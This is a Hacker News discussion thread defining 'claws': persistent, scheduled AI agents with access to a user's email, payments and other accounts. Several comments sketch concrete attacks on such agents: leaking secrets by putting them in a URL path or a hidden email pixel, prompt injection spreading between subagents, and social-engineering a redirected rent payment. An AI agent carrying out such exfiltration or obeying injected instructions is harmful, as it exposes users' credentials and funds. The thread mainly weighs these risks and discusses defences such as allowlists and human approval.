9 ms·
So what is a "claw" exactly? An ai that you let loose on your email etc? And we run it in a container and use a local llm for "safety" but it has access to al
by ZeroGravitas 8mo ago
So what is a "claw" exactly?
An ai that you let loose on your email etc?
And we run it in a container and use a local llm for "safety" but it has access to all our data and the web?
- baw-bag 8mo agoI read all 500+ comments at the time of writing and I don't understand. Something about something, with people saying something isn't a claw.
- andrekandre 8mo ago> Something about something, with people saying something isn't a claw. to claw or not to claw, that is the question
- mattlondon 8mo agoI think for me it is an agent that runs on some schedule, checks some sort of inbox (or not) and does things based on that. Optionally it has all of your credentials for email, PayPal, whatever so that it can do things on your behalf. Basically cron-for-agents. Before we had to go prompt an agent to do something right now but this allows them to be async, with more of a YOLO-outlook on permissions to use your creds, and a more permissive SI. Not rocket science, but interesting.
- snovv_crash 8mo agoCron would be for a polling model. You can also have an interrupts/events model that triggers it on incoming information (eg. new email, WhatsApp, incoming bank payments etc). I still don't see a way this wouldn't end up with my bank balance being sent to somewhere I didn't want.
- bpicolo 8mo agoDon't give it write permissions? You could easily make human approval workflows for this stuff, where humans need to take any interesting action at the recommendation of the bot.
- wavemode 8mo agoThe mere act of browsing the web is "write permissions". If I visit example.com/<my password>, I've now written my password into the web server logs of that site. So the only remaining question is whether I can be tricked/coerced into doing so. I do tend to think this risk is somewhat mitigated if you have a whitelist of allowed domains that the claw can make HTTP requests to. But I haven't seen many people doing this.
- esafak 8mo agoMost web sites don't let you create service accounts; they're built for humans.
- dmoy 8mo agoIs this reply meant to be for a different comment?
- esafak 8mo agoNo. I was trying to explain that providing web access shouldn't be tantamount to handing over the keys. You should be able to use sites and apps through a limited service account, but this requires them to be built with agents and authorization in mind. REST APIs often exist but are usually written with developers in mind. If agents are going to go maintstream, these APIs need to be more user friendly.
- jmholla 8mo agoThat's not what the parent comment was saying. They are pointing out that you can exfiltrate secret information by querying any web page with that secret information in the path. `curl www.google.com/my-bank-password`. Now, google logs have my bank password in them.
- igravious 8mo ago> I still don't see a way 1) don't give it access to your bank 2) if you do give it access don't give it direct access (have direct access blocked off and indirect access 2FA to something physical you control and the bot does not have access to) --- agreed or not? --- think of it like this -- if you gave a human power to drain you bank balance but put in no provision to stop them doing just that would that personal advisor of yours be to blame or you?
- snovv_crash 8mo agoWhat day is your rent/mortgage auto-paid? What amount? --> ask for permission to pay the same amount 30 minutes before, to a different destination account. These things are insecure. Simply having access to the information would be sufficient to enable an attacker to construct a social engineering attack against your bank, you or someone you trust.
- wavemode 8mo agoThe difference there would be that they would be guilty of theft, and you would likely have proof that they committed this crime and know their personal identity, so they would become a fugitive. By contrast with a claw, it's really you who performed the action and authorized it. The fact that it happened via claw is not particularly different from it happening via phone or via web browser. It's still you doing it. And so it's not really the bank's problem that you bought an expensive diamond necklace and had it shipped to Russia, and now regret doing so. Imagine the alternative, where anyone who pays for something with a claw can demand their money back by claiming that their claw was tricked. No, sir, you were tricked.
- altmanaltman 8mo agoDefinitely interesting but i mean giving it all my credentials feels not right. Is there a safe way to do so?
- dlt713705 8mo agoIn a VM or a separate host with access to specific credentials in a very limited purpose. In any case, the data that will be provided to the agent must be considered compromised and/or having been leaked. My 2 cents.
- krelian 8mo agoMaybe I'm missing something obvious but, being contained and only having access to specific credentials is all nice and well but there is still an agent that orchestrates between the containers that has access to everything with one level of indirection.
- BeetleB 8mo agoI don't see why you think there is. Put Openclaw on a locked down VM. Don't put anything you're not willing to lose on that VM.
- AlecSchueler 8mo agoBut if we're talking about optionally giving it access to your email, PayPal etc and a "YOLO-outlook on permissions to use your creds" then the VM itself doesn't matter so much as what it can access off site.
- billmalarky 8mo agoBastion hosts. You don't give it your "prod email", you give it a secondary email you created specifically for it. You don't give it your "prod Paypal", you create a secondary paypal (perhaps a paypal account registered using the same email as the secondary email you gave it). You don't give it your "prod bank checking account", you spin up a new checking with Discover.com (or any other online back that takes <5min to create a new checking account). With online banking it is fairly straightforward to set up fully-sandboxed financial accounts. You can, for example, set up one-way flows from your "prod checking account" to your "bastion checking account." Where prod can push/pull cash to the bastion checking, but the bastion cannot push/pull (or even see) the prod checking acct. The "permissions" logic that supports this is handled by the Nacha network (which governs how ACH transfers can flow). Banks cannot... ignore the permissions... they quickly (immediately) lose their ability to legally operate as a bank if they do... Now then, I'm not trying to handwave away the serious challenges associated with this technology. There's also the threat of reputational risks etc since it is operating as your agent -- heck potentially even legal risk if things get into the realm of "oops this thing accidentally committed financial fraud." I'm simply saying that the idea of least privileged permissions applies to online accounts as well as everything else.
- YeGoblynQueenne 8mo agoI think this is absolute madness. I disabled most of Windows' scheduled tasks because I don't want automation messing up my system, and now I'm supposed to let LLM agents go wild on my data? That's just insane. Insanity. Edit: I mean, it's hard to believe that people who consider themselves as being tech savvy (as I assume most HN users do, I mean it's "Hacker" news) are fine with that sort of thing. What is a personal computer? A machine that someone else administers and that you just log in to look at what they did? What's happening to computer nerds?
- beAbU 8mo agoI find it's the same kind of "tech savvy" person who puts an amazon echo in every room.
- edgarvaldes 8mo agoTech enthusiast vs tech savvy
- squidbeak 8mo ago> and now I'm supposed to let LLM agents go wild on my data? Who is forcing you to do that? The people you are amazed by know their own minds and understand the risks.
- habinero 8mo ago> and understand the risks I'm very unconvinced this is true. Ignorance causes overconfidence.
- yencabulator 8mo agoThat's the thing with rampant enthusiasm, nobody has to be forced into it, they'll do dumb things out of their own initiative. > understand the risks Here's the director of Safety and alignment at Meta Superintelligence deleting her emails and panicking: https://xcancel.com/summeryue0/status/2025774069124399363 https://xcancel.com/summeryue0/status/2025774069124399363
- 8mo ago
- alexjplant 8mo agoI'd like to deploy it to trawl various communities that I frequent for interesting information and synthesize it for me... basically automate the goofing off that I do by reading about music gear. This way I stay apprised of the broader market and get the lowdown on new stuff without wading through pages of chaff. Financial market and tech news are also good candidates. Of course this would be in a read-only fashion and it'd send summary messages via Signal or something. Not about to have this thing buy stuff or send messages for me.
- Barbing 8mo agoCould save a lot of time. Over the long run, I imagine it summarizing lots of spam/slop in a way that obscures its spamminess[1]. Though what do I think, that I’ll still see red flags in text a few years from now if I stick to source material? [1] Spent ten minutes on Nitter last week and the replies to OpenClaw threads consisted mostly of short, two sentence, lowercase summary reply tweets prepended with banal observations (‘whoa, …’). If you post that sliced bread was invented they’d fawn “it used to be you had to cut the bread yourself, but this? Game chan…”
- nnevatie 8mo agoThat's it basically. I do not think running the tool in a container really solves the fundamental danger these tools pose to your personal data.
- zozbot234 8mo agoYou could run them in a container and put access to highly sensitive personal data behind a "function" that requires a human-in-the-loop for every subsequent interaction. E.g. the access might happen in a "subagent" whose context gets wiped out afterwards, except for a sanitized response that the human can verify. There might be similar safeguards for posting to external services, which might require direct confirmation or be performed by fresh subagents with sanitized, human-checked prompts and contexts.
- brap 8mo agoSo you give it approval to the secret once, how can you be sure it wasn’t sent someplace else / persisted somehow for future sessions? Say you gave it access to Gmail for the sole purpose of emailing your mom. Are you sure the email it sent didn’t contain a hidden pixel from totally-harmless-site.com/your-token-here.gif?
- zozbot234 8mo agoThe access to the secret, the long-term persisting/reasoning and the posting should all be done by separate subagents, and all exchange of data among them should be monitored. But this is easy in principle, since the data is just a plain-text context.
- grasper_ 8mo agoEasy in principle is doing a lot of work here. Splitting things into subagents sounds good in theory, but if a malicious prompt flows through your plain-text context stream, nothing fundamental has changed. If the outward-facing agent gets injected and passes along a reasonable looking instruction to the agent holding secrets, you haven’t improved security at all.
- fxj 8mo agoA claw is an orchestrator for agents with its own memory, multiprocessing, job queue and access to instant messengers.
- bravura 8mo agoThere are a few qualitative product experiences that make claw agents unique. One is that it relentlessly strives thoroughly to complete tasks without asking you to micromanage it. The second is that it has personality. The third is that it's artfully constructed so that it feels like it has infinite context. The above may sound purely circumstantial and frivolous. But together it's the first agent that many people who usually avoid AI simply LOVE.
- krelian 8mo agoCan you give some example for what you use it for? I understand giving a summary of what's waiting in your inbox but what else?
- amelius 8mo agoExtending your driver's license. Asking the bank for a second mortgage. Finding the right high school for your kids. The possibilities are endless. /s <- okay
- krelian 8mo agoHave you actually used it successfully for these purposes?
- xorcist 8mo agoAny writers for Black Mirror hanging around here?
- CamperBob2 8mo agoThey were all acqu-hired by OpenAI.
- polotics 8mo agoIt's the other way around: hckrnews hanging around in Charlie Brooker's brains...
- 8mo ago
- simonw 8mo agoIt's a new, dangerous and wildly popular shape of what I've in the past called a "personal digital assistant" - usually while writing about how hard it is to secure them from prompt injection attacks. The term is in the process of being defined right now, but I think the key characteristics may be: - Used by an individual. People have their own Claw (or Claws). - Has access to a terminal that lets it write code and run tools. - Can be prompted via various chat app integrations. - Ability to run things on a schedule (it can edit its own frontal equivalent) - Probably has access to the user's private data from various sources - calendars, email, files etc. very lethal trifecta. Claws often run directly on consumer hardware, but that's not a requirement - you can host them on a VPS or pay someone to host them for you too (a brand new market.)
- cobertos 8mo agoAny suggestions for a specific claw to run? I tried OpenClaw in Docker (with the help of your blog post, thanks) but found it way too wasteful on tokens/expensive. Apparently there's a ton of tweaks to reduce spent by doing things like offloading heartbeat to a local Ollama model, but was looking for something more... put together/already thought through.
- raidicy 8mo agoBased off the gp's comment, I'm going to try building my own with pocket flow and ollama.
- verdverm 8mo agoI like ADK, it's lower level and more general, so there is a bit you have to do to get a "claw" like experience (not that much) and you get (1) a common framework you can use for other things (2) a lot more places to plug in (3) four SDKs to choose from (ts, go, py, java... so far) It's a lot more work to build a Copilot alternative (ide integration, cli). I've done a lot of that with adk-go, https://github.com/hofstadter-io/hof https://github.com/hofstadter-io/hof
- akssassin907 8mo agoThe pattern I found that works ,use a small local model (llama 3b via Ollama, takes only about 2GB) for heartbeat checks — it just needs to answer 'is there anything urgent?' which is a yes/no classification task, not a frontier reasoning task. Reserve the expensive model for actual work. Done right, it can cut token spend by maybe 75% in practice without meaningfully degrading the heartbeat quality. The tricky part is the routing logic — deciding which calls go to the cheap model and which actually need the real one. It can be a doozy — I've done this with three lobsters, let me know if you have any questions.
- holoduke 8mo agoI am creating a claw that is basically a loop that runs every x minutes. It uses the Claude cli tool. And it builds a memory based on some kind of simple node system. With active memories and fading old memories. I also added functionality to add integrations like whatsapp, agenda. Slack and gmail. so every "loop" the ai reads in information and updates it's memory. There is also a directive that can decide to create tasks or directly message me or others. It's a bit of playing around. Very dangerous, but fun to play with. The application even has self improvement system. I creates a few pull requests every day it thinks is needed to make it better. Hugely fun to see it evolving. https://github.com/holoduke/myagent https://github.com/holoduke/myagent
- zmmmmm 8mo agoit's a psychological state that happens when someone is so desperate to seem cool and up with the latest AI hype that they decide to recklessly endanger themselves and others.
- jameslk 8mo agoFrom a technical perspective, if agents are "an LLM and tools in a loop", I'd define claws as "agents in a queue". Or in other words claws are "an LLM and tools in a loop, in a queue"
- sensanaty 8mo agoThe next hyped bullshit de jure spewing out of the ass of the AI bros, cause the hype cycle on agents is starting to die down. Can't have 30 billion dollar circular deals while setting aflame barrels of cash without the hype machine churning through the Next Thing!
- the_alchemist 8mo agoIt's 'de jour' , which means 'of the day' in French
- tokenless 8mo agoAlso is Claw named because of Claude. I.e. Claude -> Clawd -> Claw
- _yclj 8mo agoIt's anything that's like OpenClaw, but not necessarily open.
- daveheinrich 8mo ago[dead]